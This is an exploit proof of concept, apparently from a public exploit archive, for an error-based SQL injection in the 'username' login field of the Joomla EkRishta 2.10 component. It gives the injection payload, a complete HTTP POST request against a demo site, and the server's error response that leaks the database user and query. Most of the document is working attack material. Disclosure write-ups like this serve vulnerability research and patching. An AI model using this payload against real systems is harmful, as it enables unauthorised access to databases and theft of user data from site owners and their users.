Joomla EkRishta 2.10 SQL Injection

`# Exploit Title: Joomla! Component EkRishta 2.10 - 'username' SQL Injection  
# Date: 2018-06-11  
# Exploit Author: L0RD  
# Software Link: https://extensions.joomla.org/extension/ek-rishta/  
# Vendor Homepage: https://www.joomlaextensions.co.in/  
# Version: 2.10  
# Tested on: Win 10  
  
# POC : SQLi :  
# Parameter : username  
# Type : Error based  
# Payload : 1' AND extractvalue(1,concat(0x3a,user(),0x3a))#  
# Test : http://joomlaextension.biz/ekrishta/index.php/login/sign-in  
  
# Request  
  
POST /ekrishta/index.php/login/sign-in HTTP/1.1  
Host: joomlaextension.biz  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)  
Gecko/20100101 Firefox/61.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://joomlaextension.biz/ekrishta/index.php/login/sign-in  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 264  
Cookie: 2b59fab16cbbad2fc73d64e5cc7a2950=k0fcnijgbnnk4i8f15bem38vp3;  
joomla_user_state=logged_in  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
  
username=1' AND  
extractvalue(1,concat(0x3a,user(),0x3a))#&passwd=test%27&Submit=Log+in+to+your+account&Itemid=117&option=com_ekrishta&view=alluser&task=check_login&lid=loginuser&return=L2VrcmlzaHRhL2luZGV4LnBocC9sb2dpbi9zaWduLWlu&bac2b97217cd995b069b5b0bc198de1c=1  
  
# Response  
  
HTTP/1.1 500 XPATH syntax error: ':harmiste_rishtaa@localhost:' SQL=select  
* from #__users where username='1' AND  
extractvalue(1,concat(0x3a,user(),0x3a))#'  
Server: nginx  
Date: Mon, 11 Jun 2018 17:05:00 GMT  
Content-Type: text/html; charset=UTF-8  
Connection: keep-alive  
Cache-Control: no-cache  
Pragma: no-cache  
Host-Header: 192fc2e7e50945beb8231a492d6a8024  
Content-Length: 3181  
  
  
`